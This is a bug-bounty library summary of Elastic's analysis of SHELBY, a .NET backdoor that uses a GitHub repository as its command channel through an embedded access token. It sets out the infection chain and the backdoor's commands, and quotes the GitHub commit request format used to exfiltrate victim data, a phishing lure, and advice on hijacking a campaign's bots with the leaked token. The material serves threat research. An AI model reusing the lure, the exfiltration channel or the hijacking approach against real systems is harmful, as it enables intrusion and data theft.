# The Shelby Strategy

SHELBY malware embeds a GitHub PAT in its binary, letting any victim or third party hijack the C2 and control all infected machines.

- Payout: Real-world hack
- Severity: high
- Program: SHELBY malware
- Analysis by: Salim Bitam, Seth Goodwin
- Disclosed: 2025-03-26
- Write-up quality: 7/10
- Original: https://www.elastic.co/security-labs/threat-command/the-shelby-strategy
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-the-shelby-strategy
- Tags: area:os domain:desktop impact:data-leak impact:integrity kind:incident platform:threat-intel sev:high tech:dotnet tech:github-actions technique:reverse-engineering technique:source-review vuln:misconfiguration vuln:secrets-leak

**Target:** GitHub-hosted C2 repository accessed via embedded PAT in Windows .NET malware
**Root cause:** The Personal Access Token (PAT) required to access the private repository is embedded within the binary, so anyone who obtains the sample can authenticate to the C2 repo.
**Steps:**
1. Victim opens Details.zip and executes JPerf-3.0.0.exe (Inno Setup installer).
2. Installer drops HTTPApi.dll, HTTPService.dll, Microsoft.Http.Api.exe and config into %AppData%\Local\Microsoft\HTTPApi.
3. Benign Microsoft.Http.Api.exe side-loads HTTPService.dll (SHELBYLOADER).
4. Loader generates MD5-based unique ID and pushes commit with Info.txt to myToken repo via `https://api.github.com/repos/<owner>/<repo>/contents/<unique identifier>/<file>` using header `Authorization: token <PAT_token>`.
5. Loader downloads License.txt (48-byte value), derives AES key/IV via SHA256, decrypts HTTPApi.dll and reflectively loads it via Assembly.Load.
6. Backdoor polls Command.txt/Broadcast.txt for commands (/download, /upload, /dlextract, /evoke, or PowerShell).
7. Anyone extracting the embedded PAT can read/write the same repo, fetch commands and exfiltrate outputs from all victims.
**How found:** Malware reverse engineering: deobfuscated Obfuscar-protected binaries with de4dot (--strtyp delegate, --strtok), then read the loader constructor and HTTP commit code, spotting the hardcoded PAT and shared repo used for all victims.
**Exploitation:** Attacker phished an Iraq-based telecom with an internal-thread lure; the installer side-loads the loader, which registers victims via GitHub commits and pulls AES keys and commands from the repo. Because the PAT is embedded, any party holding a sample can reuse it to read attacker commands and victim outputs or push their own commands to all infections.
**Escalation:** Single embedded PAT grants control over every active infection across the campaign, not just one victim.
**Insight:** When malware uses a shared SaaS/API credential for C2, extract it and test whether it grants read/write to the whole campaign repo — one sample can yield control of all bots and their exfiltrated data.

## Proof of concept (copied exactly from the original report)

**GitHub commit JSON payload with PAT auth**

```
{
 "message": "Commit message",
 "content": "<base64 encoded content>",
 "sha": "<hash>"
}

The malware sets specific HTTP headers for the request, including:

- Accept: application/vnd.github.v3+json

- Content-Type: application/json

- Authorization: token <PAT_token>

- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

The request is sent to the GitHub API endpoint, constructed as follows:

https://api.github.com/repos/<owner>/<repo>/contents/<unique identifier>/<file>
```

**Phishing email lure with network alarm text**

```
Dears,

We would appreciate it if you would check the following alarms on Core Network many (ASSOCIATION) have been flapped.

Problem Text
*** ALARM 620 A1/APT "ARHLRF2SPX1.9IP"U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST SPID
2-1936 ARSMSC1
END

Problem Text
*** ALARM 974 A1/APT "ARHLRF1SPX1.9IP"U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST SPID
2-1936 ARSMSC1
END
…
```